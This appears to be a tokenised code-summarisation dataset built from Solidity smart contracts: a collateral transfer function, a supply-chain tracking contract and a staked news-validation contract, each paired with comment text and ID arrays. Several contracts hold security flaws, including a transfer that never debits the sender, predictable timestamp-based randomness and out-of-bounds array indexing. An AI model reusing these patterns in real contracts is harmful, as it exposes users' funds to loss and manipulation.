-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6f8dE8c1EdE1296a1DCa1c74E5E4f79b1Ba3af43/sources/browser/contracts/DAppIncubator.sol
* Transfer collateral from the caller to a new holder. Remember, there's a 10% fee here as well./
function transfer(address contractAddress, address toAddress, uint256 amountOfCollate) public returns(bool) { address _customerAddress = msg.sender; require(contractAddressRecord[contractAddress] == true); require(walletAddressRecord[_customerAddress] == true); require(amountOfCollate <= balanceLedger[_customerAddress][contractAddress].tokenBalance); if(walletAddressRecord[toAddress] == false){ walletAddressRecord[toAddress] = true; } uint256 _taxedTokens = SafeMath.sub(amountOfCollate, _tokenFee); uint256 _dividends = collateralToToken_(contractAddress, _tokenFee); balanceLedger[toAddress][contractAddress].tokenBalance = SafeMath.add(balanceLedger[toAddress][contractAddress].tokenBalance, _taxedTokens); balanceLedger[toAddress][contractAddress].payOut += (int256) (tokenLedger[contractAddress].dividend * _taxedTokens); return true; }
4,860,436
[ 1, 5912, 4508, 2045, 287, 628, 326, 4894, 358, 279, 394, 10438, 18, 23133, 16, 1915, 1807, 279, 1728, 9, 14036, 2674, 487, 5492, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 6835, 1887, 16, 1758, 358, 1887, 16, 2254, 5034, 3844, 951, 13535, 340, 13, 1071, 1135, 12, 6430, 13, 203, 565, 288, 203, 3639, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 540, 203, 3639, 2583, 12, 16351, 1887, 2115, 63, 16351, 1887, 65, 422, 638, 1769, 203, 3639, 2583, 12, 19177, 1887, 2115, 63, 67, 10061, 1887, 65, 422, 638, 1769, 203, 3639, 2583, 12, 8949, 951, 13535, 340, 1648, 11013, 28731, 63, 67, 10061, 1887, 6362, 16351, 1887, 8009, 2316, 13937, 1769, 203, 540, 203, 3639, 309, 12, 19177, 1887, 2115, 63, 869, 1887, 65, 422, 629, 15329, 203, 5411, 9230, 1887, 2115, 63, 869, 1887, 65, 273, 638, 31, 203, 3639, 289, 203, 540, 203, 540, 203, 3639, 2254, 5034, 389, 8066, 329, 5157, 273, 14060, 10477, 18, 1717, 12, 8949, 951, 13535, 340, 16, 389, 2316, 14667, 1769, 203, 3639, 2254, 5034, 389, 2892, 350, 5839, 273, 4508, 2045, 287, 774, 1345, 67, 12, 16351, 1887, 16, 389, 2316, 14667, 1769, 203, 21281, 203, 3639, 11013, 28731, 63, 869, 1887, 6362, 16351, 1887, 8009, 2316, 13937, 273, 14060, 10477, 18, 1289, 12, 12296, 28731, 63, 869, 1887, 6362, 16351, 1887, 8009, 2316, 13937, 16, 389, 8066, 329, 5157, 1769, 203, 540, 203, 3639, 11013, 28731, 63, 869, 1887, 6362, 16351, 1887, 8009, 10239, 1182, 1011, 261, 474, 5034, 13, 261, 2316, 28731, 63, 16351, 1887, 8009, 2892, 26746, 380, 389, 8066, 329, 5157, 1769, 203, 540, 203, 540, 203, 540, 203, 3639, 327, 2 ]
pragma solidity ^0.4.24; import "../core/Ownable.sol"; import "../accessControl/ManufacturerRole.sol"; import "../accessControl/RetailerRole.sol"; import "../accessControl/CustomerRole.sol"; // Define a contract 'Supplychain' contract SupplyChain is Ownable, ManufacturerRole, RetailerRole, CustomerRole { // Define 'owner' address contractOwner; // Define a variable called 'upc' for Universal Product Code (UPC) uint upc; // Define a variable called 'sku' for Stock Keeping Unit (SKU) uint sku; // Define a public mapping 'items' that maps the UPC to an Item. mapping(uint => Item) items; // Define a public mapping 'itemsHistory' that maps the UPC to an array of TxHash, // that track its journey through the supply chain -- to be sent from DApp. mapping(uint => string[]) itemsHistory; // Define enum 'State' with the following values: enum State { Processed, // 0 Packed, // 1 Added, // 2 Received, // 3 Shipped, // 4 Delivered // 5 } State constant defaultState = State.Processed; // Define a struct 'Item' with the following fields: struct Item { uint sku; // Stock Keeping Unit (SKU) uint upc; // Universal Product Code (UPC), generated by the Manufacturer, goes on the package, can be verified by the Customer address ownerID; // Metamask-Ethereum address of the current owner as the product moves through 6 stages address originManufacturerID; // Metamask-Ethereum address of the Manufacturer string originManufacturerName; // Manufacturer Name string originManufacturerInformation; // Manufacturer Information string originManufacturerLatitude; // Manufacturer Latitude string originManufacturerLongitude; // Manufacturer Longitude uint productID; // Product ID potentially a combination of upc + sku string productNotes; // Product Notes uint productPrice; // Product Price State itemState; // Product State as represented in the enum above address retailerID; // Metamask-Ethereum address of the Retailer address customerID; // Metamask-Ethereum address of the Customer } // Ownable Ownable; // ManufacturerRole Manufacturer; // RetailerRole Retailer; // CustomerRole Customer; // Define 8 events with the same 6 state values and accept 'upc' as input argument event Processed(uint upc); event Packed(uint upc); event Added(uint upc); event Received(uint upc); event Shipped(uint upc); event Delivered(uint upc); // Define a modifer that checks to see if msg.sender == owner() of the contract modifier onlyOwner() { require(msg.sender == owner()); _; } // Define a modifer that verifies the Caller modifier verifyCaller (address _address) { require(owner() == _address); _; } // Define a modifier that checks if the paid amount is sufficient to cover the price modifier paidEnough(uint _price) { require(msg.value >= _price); _; } // Define a modifier that checks the price and refunds the remaining balance modifier checkValue(uint _upc) { _; uint _price = items[_upc].productPrice; uint amountToReturn = msg.value - _price; items[_upc].customerID.transfer(amountToReturn); } // Define a modifier that checks if an item.state of a upc is Processed modifier processed(uint _upc) { require(items[_upc].itemState == State.Processed); _; } // Define a modifier that checks if an item.state of a upc is Packed modifier packed(uint _upc) { require(items[_upc].itemState == State.Packed); _; } // Define a modifier that checks if an item.state of a upc is Added modifier added(uint _upc) { require(items[_upc].itemState == State.Added); _; } // Define a modifier that checks if an item.state of a upc is Received modifier received(uint _upc) { require(items[_upc].itemState == State.Received); _; } // Define a modifier that checks if an item.state of a upc is Shipped modifier shipped(uint _upc) { require(items[_upc].itemState == State.Shipped); _; } // Define a modifier that checks if an item.state of a upc is Delivered modifier delivered(uint _upc) { require(items[_upc].itemState == State.Delivered); _; } // In the constructor set 'sku' to 1 // and set 'upc' to 1 constructor() public payable { sku = 1; upc = 1; } // Define a function 'kill' if required function kill() public { if (msg.sender == contractOwner) { selfdestruct(contractOwner); } } // Define a function 'processItem' that allows a farmer to mark an item 'Processed' function processItem(uint _upc, address _originManufacturerID, string _originManufacturerName, string _originManufacturerInformation, string _originManufacturerLatitude, string _originManufacturerLongitude) public onlyOwner() { addManufacturer(_originManufacturerID); transferOwnership(_originManufacturerID); // Add the new item as part of Processed Item memory newItem; newItem.upc = _upc; newItem.sku = sku; newItem.productID = sku + _upc; newItem.ownerID = _originManufacturerID; newItem.originManufacturerID = _originManufacturerID; newItem.originManufacturerName = _originManufacturerName; newItem.originManufacturerInformation = _originManufacturerInformation; newItem.originManufacturerLatitude = _originManufacturerLatitude; newItem.originManufacturerLongitude = _originManufacturerLongitude; newItem.itemState = defaultState; items[_upc] = newItem; // Increment sku sku = sku + 1; // Emit the appropriate event emit Processed(_upc); } // Define a function 'packItem' that allows a farmer to mark an item 'Packed' function packItem(uint _upc) public onlyOwner() onlyManufacturer() // Call modifier to check if upc has passed previous supply chain stage processed(_upc) // Call modifier to verify caller of this function verifyCaller(items[_upc].ownerID) { // Update the appropriate fields items[_upc].itemState = State.Packed; // Emit the appropriate event emit Packed(_upc); } // Define a function 'addItem' that allows a Manufacturer to sell the item function addItem(uint _upc, uint _price, address retailerID) public onlyOwner() onlyManufacturer() // Call modifier to check if upc has passed previous supply chain stage packed(_upc) // Call modifier to verify caller of this function verifyCaller(items[_upc].ownerID) { addRetailer(retailerID); transferOwnership(retailerID); // Update the appropriate fields items[_upc].ownerID = retailerID; items[_upc].retailerID = retailerID; items[_upc].itemState = State.Added; items[_upc].productPrice = _price; // Emit the appropriate event emit Added(_upc); } // Define a function 'receiveItem' that allows the retailer to mark an item 'Received' // Use the above modifiers to check if the item is added function receiveItem(uint _upc, string productNotes) public onlyOwner() onlyRetailer() // Call modifier to check if upc has passed previous supply chain stage added(_upc) // Access Control List enforced by calling Smart Contract / DApp verifyCaller(items[_upc].ownerID) { // Update the appropriate fields items[_upc].productNotes = productNotes; items[_upc].itemState = State.Received; // Emit the appropriate event emit Received(_upc); } // Define a function 'shipItem' that allows the retailer to mark an item 'Shipped' // Use the above modifers to check if the item is sold function shipItem(uint _upc, address customerID) public onlyOwner() onlyRetailer() // Call modifier to check if upc has passed previous supply chain stage received(_upc) // Call modifier to verify caller of this function verifyCaller(items[_upc].ownerID) { addCustomer(customerID); transferOwnership(customerID); // Update the appropriate fields items[_upc].customerID = customerID; items[_upc].itemState = State.Shipped; // Emit the appropriate event emit Shipped(_upc); } // Define a function 'buyItem' that allows the customer to mark an item 'Delivered' // Use the above defined modifiers to check if the item is available for sale, if the buyer has paid enough, // and any excess ether sent is refunded back to the buyer function buyItem(uint _upc) public payable onlyOwner() onlyCustomer() // Call modifier to check if upc has passed previous supply chain stage shipped(_upc) // Call modifer to check if buyer has paid enough paidEnough(items[_upc].productPrice) // Call modifer to send any excess ether back to buyer checkValue(_upc) { // Update the appropriate fields - ownerID, customerID, itemState items[_upc].ownerID = msg.sender; items[_upc].customerID = msg.sender; items[_upc].itemState = State.Delivered; // Transfer money to Manufacturer and Retailer items[_upc].originManufacturerID.transfer((items[_upc].productPrice * 7) / 10); items[_upc].retailerID.transfer((items[_upc].productPrice * 3) / 10); // emit the appropriate event emit Delivered(_upc); } // Define a function 'fetchItem' that fetches the data function fetchItem(uint _upc) public view returns ( uint itemSKU, uint itemUPC, address ownerID, address originManufacturerID, string originManufacturerName, State itemState, uint productPrice, address retailerID, address customerID ) { // Assign values to the parameters itemSKU = items[_upc].sku; itemUPC = items[_upc].upc; ownerID = items[_upc].ownerID; originManufacturerID = items[_upc].originManufacturerID; originManufacturerName = items[_upc].originManufacturerName; itemState = items[_upc].itemState; productPrice = items[_upc].productPrice; retailerID = items[_upc].retailerID; customerID = items[_upc].customerID; return ( itemSKU, itemUPC, ownerID, originManufacturerID, originManufacturerName, itemState, productPrice, retailerID, customerID ); } // Define a function 'fetchItemDetails' that fetches the item details function fetchItemDetails(uint _upc) public view returns ( uint productID, uint itemUPC, uint productPrice, string productNotes, string originManufacturerName, string originManufacturerInformation, string originManufacturerLatitude, string originManufacturerLongitude ) { // Assign values to the parameters productID = items[_upc].productID; itemUPC = items[_upc].upc; productPrice = items[_upc].productPrice; productNotes = items[_upc].productNotes; originManufacturerName = items[_upc].originManufacturerName; originManufacturerInformation = items[_upc].originManufacturerInformation; originManufacturerLatitude = items[_upc].originManufacturerLatitude; originManufacturerLongitude = items[_upc].originManufacturerLongitude; return ( productID, itemUPC, productPrice, productNotes, originManufacturerName, originManufacturerInformation, originManufacturerLatitude, originManufacturerLongitude ); } // function addItemHistory(uint _upc, string txHash) { // itemsHistory[_upc].push(txHash); // } // // function getItemHistory(uint _upc) public view returns (string[]) { // return itemsHistory[_upc]; // } }
Product State as represented in the enum above
State itemState;
5,440,487
[ 1, 4133, 3287, 487, 10584, 316, 326, 2792, 5721, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3287, 761, 1119, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.21 <0.6.0; import "./accessControl/ContributorRole.sol"; import "./accessControl/ReaderRole.sol"; import "./accessControl/ValidatorRole.sol"; import "./Article.sol"; // Import the library 'Roles' and SafeMath import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract Honestmedia is ContributorRole, ReaderRole, ValidatorRole, Article { using SafeMath for uint; address owner; //check if contract operational bool private operational = true; //variables to define minimum funding amounts for validators and contributors. //These should be checked when adding new actors. uint constant MIN_FUNDING_VALIDATOR = 1 ether; //we can decide a different amount uint constant MIN_FUNDING_CONTRIBUTOR = 2 ether; //we can decide a different amount //mapping to store available withdrawals mapping(address => uint) availableWithdrawls; //Struct to store ruling struct ruling { uint articleId; uint challengeId; address[3] validators; bool[3] votes; uint voted; } //Mapping to save ruling for challenges mapping(uint => ruling) allRulings; //Variable to save totalRulings uint public totalRulings; constructor() public { owner = msg.sender; } modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } modifier requireContractOwner() { require((msg.sender == owner), "Caller is not admin"); _; } function isOperational() public view returns(bool) { return operational; } function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } //add contributor function registerContributor(address _address, uint _fund) external { ContributorRole.addContributor(_address, _fund); } //add reader function registerReader(address _address, uint _fund) external { ReaderRole.addReader(_address, _fund); } //add validator function registerValidator(address _address, uint _fund) external { ValidatorRole.addValidator(_address, _fund); } //seting ranking function setContributorRating(address _address, uint rank) internal { ContributorRole.setRating(_address, rank); } function setReaderRating(address _address, uint rank) internal { ReaderRole.setRating(_address, rank); } function setValidatorRating(address _address, uint rank) internal { ValidatorRole.setRating(_address, rank); } //function get article contributor function getArticleContributor(uint _articleNumber) public view returns (address _contributor) { return Article.getArticleContributor(_articleNumber); } function getContributorRating(address _address) public view returns (uint rating) { ContributorRole.getRating(_address); } //Function to store the article etc function addArticle(bytes32 _ipfsArticleHash, bytes32 _ipfsReferenceHash, string memory _title, uint _datePublished, uint _stake) public onlyContributor { //Check if Amount staked is greater than balance of contributor require(_stake <= ContributorRole.allContributors[msg.sender].balance, "Insufficient funds to publish article. Amount staked should be less than account balance."); uint articleNum = Article.add(msg.sender, _ipfsArticleHash, _ipfsReferenceHash, _title, _datePublished, _stake); //ContributorRole.allContributors[msg.sender].articles.push(articleNum); ContributorRole.addArticle(articleNum); assignValidator(articleNum, msg.sender); } //function get the number of all articles function getNumberOfArticles() public view returns (uint noOfArticles){ return Article.getNumberOfArticles(); } //Define a function if article is challenged function isArticleChallenged(uint articleNumber) public view returns (bool isChallenged){ return Article.isArticleChallenged(articleNumber); } //Define a function if article is challenged function isChallengeRuled(uint challengeId) public view returns (bool isRuled){ uint _rulingId = ReaderRole.allChallenges[challengeId].rulingId; if(allRulings[_rulingId].voted == 3) return true; } function getArticleId(uint challengeId) public view returns(uint articleId){ return ReaderRole.allChallenges[challengeId].articleId; } //function to get the list of all the articles' titles function getArticle(uint _articleNumber) public view returns (string memory title, uint datePublished, uint upvotes, uint downvotes){ string memory articleTitle = Article.getArticleTitle(_articleNumber); uint articleDatePublished = Article.getArticleDatePublished(_articleNumber); uint articleUpvotes = Article.getArticleUpvotes(_articleNumber); uint articleDownvotes = Article.getArticleDownvotes(_articleNumber); return (articleTitle, articleDatePublished, articleUpvotes, articleDownvotes); } //Assign validator to approve article function assignValidator(uint articleId, address contributor) internal { //check to see if random validator is also contributor address randomValidator = ValidatorRole.validatorIds[random(1)]; while (randomValidator == contributor){ randomValidator = ValidatorRole.validatorIds[random(1)]; } Article.allArticles[articleId].validator = randomValidator; } //Function to update rating for Contributors function updateContributorRating(bool vote, bool challengeLost, address _contributor, uint articleId) public { uint newRating; //change rating after challenge lost if(challengeLost == true){ if(ContributorRole.allContributors[_contributor].rating > 0){ newRating = ContributorRole.allContributors[_contributor].rating.sub(1); setContributorRating(_contributor, newRating); } ContributorRole.allContributors[_contributor].challengesLost = ContributorRole.allContributors[_contributor].challengesLost.add(1); }else { //change rating after reader vote if(vote == true){ Article.allArticles[articleId].upVotes = Article.allArticles[articleId].upVotes.add(1); }else { Article.allArticles[articleId].downVotes = Article.allArticles[articleId].downVotes.add(1); } newRating = contributorRatingCalculator(ContributorRole.allContributors[_contributor].rating, Article.allArticles[articleId].upVotes, Article.allArticles[articleId].downVotes, ContributorRole.allContributors[_contributor].articlesPublished); setContributorRating(_contributor, newRating); } } //Function to update reader's rating function updateReaderRating(address reader, uint challengeId) internal { uint currentRating = ReaderRole.allReaders[reader].rating; uint totalChallenges = ReaderRole.allReaders[reader].numOfChallenges; uint successful; for(uint i = 1; i <= totalChallenges; i++){ if(ReaderRole.allReaders[reader].challenges[challengeId] == true ) successful++; } uint newRating = readerRatingCalculator(currentRating, successful, totalChallenges); setReaderRating(reader, newRating); } //Function to update validator's rating function updateValidatorRating(address validator, bool result) internal { uint newRating; uint currentRating = ValidatorRole.allValidators[validator].rating; uint prevDiff; uint newDiff = ValidatorRole.allValidators[validator].challengesWon.sub(ValidatorRole.allValidators[validator].challengesLost); if (newDiff > 0){ if(result == true) { prevDiff = newDiff.sub(1); }else { prevDiff = newDiff.add(1); } newRating = validatorRatingCalculator(currentRating, prevDiff, newDiff); }else { newRating = 0; } setValidatorRating(validator, newRating); } //Function to calculate rating for Contributors function contributorRatingCalculator(uint currentRating, uint upVotes, uint downVotes, uint articles) internal pure returns(uint){ uint totalRatings = upVotes.add(downVotes); uint recentRating = upVotes.div(totalRatings).mul(5); uint newRating = articles.sub(1); newRating = newRating.mul(currentRating); newRating = newRating.add(recentRating); newRating = newRating.div(articles); return newRating; } //Function to calculate rating for Readers function readerRatingCalculator(uint currentRating, uint successful, uint totalChallenges) internal pure returns(uint){ uint recentRating = successful.div(totalChallenges).mul(5); uint newRating = totalChallenges.sub(1); newRating = newRating.mul(currentRating); newRating = newRating.add(recentRating); newRating = newRating.div(totalChallenges); return newRating; } //Function to calculate rating for Validators function validatorRatingCalculator(uint currentRating, uint prevDiff, uint newDiff) internal pure returns(uint){ uint newRating = currentRating.mul(newDiff).div(prevDiff); return newRating; } //Function to challenge an article function challengeArticle(bytes32 proofHash, uint stake, uint articleId) external onlyReader { //Check if Amount staked is greater than balance of Reader require(stake <= ReaderRole.allReaders[msg.sender].balance, "Insufficient funds to challenge article."); address contributor = Article.allArticles[articleId].contributor; ReaderRole.challenge(articleId, contributor, proofHash, stake, msg.sender); assignValidators(articleId, ReaderRole.totalChallenges); } //function to find random validators to vote on challenge function assignValidators(uint _articleId, uint _challengeId) internal { totalRulings = totalRulings.add(1); address[3] memory validators; for(uint i = 1; i < 4; i++) { validators[i-1] = ValidatorRole.validatorIds[random(i)]; } allRulings[totalRulings].validators = validators; allRulings[totalRulings].articleId = _articleId; allRulings[totalRulings].challengeId = _challengeId; ReaderRole.allChallenges[_challengeId].rulingId = totalRulings; } //Random number generator function random(uint nonce) internal view returns (uint) { uint MAX = ValidatorRole.totalValidators; uint seed = uint(keccak256(abi.encodePacked(now, msg.sender, nonce))); uint scaled = seed.div(MAX); uint adjusted = scaled; return adjusted; } function getRulingId(uint _challengeId) public view returns(uint rulingId){ return ReaderRole.allChallenges[_challengeId].rulingId; } //function to register validator votes on challenge. Will also check if 2 of 3 consensus is reached function voteOnChallenge(uint rulingId, bool vote, uint challengeId) external onlyValidator { uint numOfYesVotes; for(uint i = 0; i < 3; i++){ if (allRulings[rulingId].validators[i] == msg.sender) { allRulings[rulingId].votes[i] = vote; allRulings[rulingId].voted++; } if(allRulings[rulingId].votes[i] == true) numOfYesVotes++; } if(numOfYesVotes >= 2){ //Challenge is successful if 2 out of 3 validators vote yes challengeSuccessful(challengeId, rulingId); }else { //Check to see if all 3 validators have voted if(allRulings[rulingId].voted == 3) { challengeUnsuccessful(challengeId, rulingId); } } } //function called if challenge is sucessful function challengeSuccessful(uint challengeId, uint rulingId) internal { ReaderRole.allChallenges[challengeId].success = true; // update contributor's challenges lost address contributor = ReaderRole.allChallenges[challengeId].contributor; ContributorRole.allContributors[contributor].challengesLost = ContributorRole.allContributors[contributor].challengesLost.add(1); address reader = ReaderRole.allChallenges[challengeId].reader; ReaderRole.allReaders[reader].challenges[challengeId] = true; uint articleId = ReaderRole.allChallenges[challengeId].articleId; // Distribute Amount staked by contributor to reader and validators uint amount = Article.allArticles[articleId].stake; divideStake(contributor, reader, rulingId, amount, true); // Update Contributor ratings updateContributorRating(false, true, contributor, articleId); // Update Reader ratings updateReaderRating(reader, challengeId); // Update Validator ratings address validator = Article.allArticles[articleId].validator; ValidatorRole.updateChallengesWon(validator); updateValidatorRating(validator, true); } //function called if challenge is unsucessful function challengeUnsuccessful(uint challengeId, uint rulingId) internal { address reader = ReaderRole.allChallenges[challengeId].reader; uint articleId = ReaderRole.allChallenges[challengeId].articleId; address validator = Article.allArticles[articleId].validator; address contributor = ReaderRole.allChallenges[challengeId].contributor; ReaderRole.allChallenges[challengeId].success = false; // Distribute Amount staked by reader to contributor and validators uint amount = ReaderRole.allChallenges[challengeId].stake; divideStake(contributor, reader, rulingId, amount, false); // Update Reader ratings updateReaderRating(reader, challengeId); // Update Validator ratings ValidatorRole.updateChallengesLost(validator); updateValidatorRating(validator, false); } //Function to divide stake function divideStake(address contributor, address reader, uint rulingId, uint amount, bool success) internal { address[3] memory validators = allRulings[rulingId].validators; uint share = amount.div(4); //Reimburse validators for(uint i = 1; i <= 3; i++){ ValidatorRole.allValidators[validators[i]].balance = ValidatorRole.allValidators[validators[i]].balance.add(share); availableWithdrawls[validators[i]] = availableWithdrawls[validators[i]].add(share); } if(success == true){ //Deduct from contributor balance ContributorRole.allContributors[contributor].balance = ContributorRole.allContributors[contributor].balance.sub(amount); availableWithdrawls[contributor] = availableWithdrawls[contributor].sub(amount); //Reimburse Reader availableWithdrawls[reader] = availableWithdrawls[reader].add(share); ReaderRole.allReaders[reader].balance = ReaderRole.allReaders[reader].balance.add(share); }else { //Deduct from Reader availableWithdrawls[reader] = availableWithdrawls[reader].sub(amount); ReaderRole.allReaders[reader].balance = ReaderRole.allReaders[reader].balance.sub(amount); //Deduct from contributor balance ContributorRole.allContributors[contributor].balance = ContributorRole.allContributors[contributor].balance.add(share); availableWithdrawls[contributor] = availableWithdrawls[contributor].add(share); } } //function that allows to withdraw funds. For Validators and Contributors their balance should not be less than the minimum funding amount. function withdraw(uint amount) external payable { require(amount <= availableWithdrawls[msg.sender], "Not enough balance"); bool allow; uint balance; if(ContributorRole.isContributor(msg.sender) == true){ balance = ContributorRole.allContributors[msg.sender].balance; balance = balance.sub(amount); require(balance >= MIN_FUNDING_CONTRIBUTOR, "Insufficient Balance"); allow = true; ContributorRole.allContributors[msg.sender].balance = balance; } if(ValidatorRole.isValidator(msg.sender) == true){ balance = ValidatorRole.allValidators[msg.sender].balance; balance = balance.sub(amount); require(balance >= MIN_FUNDING_VALIDATOR, "Insufficient Balance"); allow = true; ValidatorRole.allValidators[msg.sender].balance = balance; } if(ReaderRole.isReader(msg.sender) == true){ allow = true; ReaderRole.allReaders[msg.sender].balance = ReaderRole.allReaders[msg.sender].balance.sub(amount); } if(allow == true){ availableWithdrawls[msg.sender] = availableWithdrawls[msg.sender].sub(amount); msg.sender.transfer(amount); } } //Fallback function function () external payable { } }
Assign validator to approve articlecheck to see if random validator is also contributor
function assignValidator(uint articleId, address contributor) internal { address randomValidator = ValidatorRole.validatorIds[random(1)]; while (randomValidator == contributor){ randomValidator = ValidatorRole.validatorIds[random(1)]; } Article.allArticles[articleId].validator = randomValidator; }
12,899,208
[ 1, 4910, 4213, 358, 6617, 537, 7559, 1893, 358, 2621, 309, 2744, 4213, 353, 2546, 31123, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
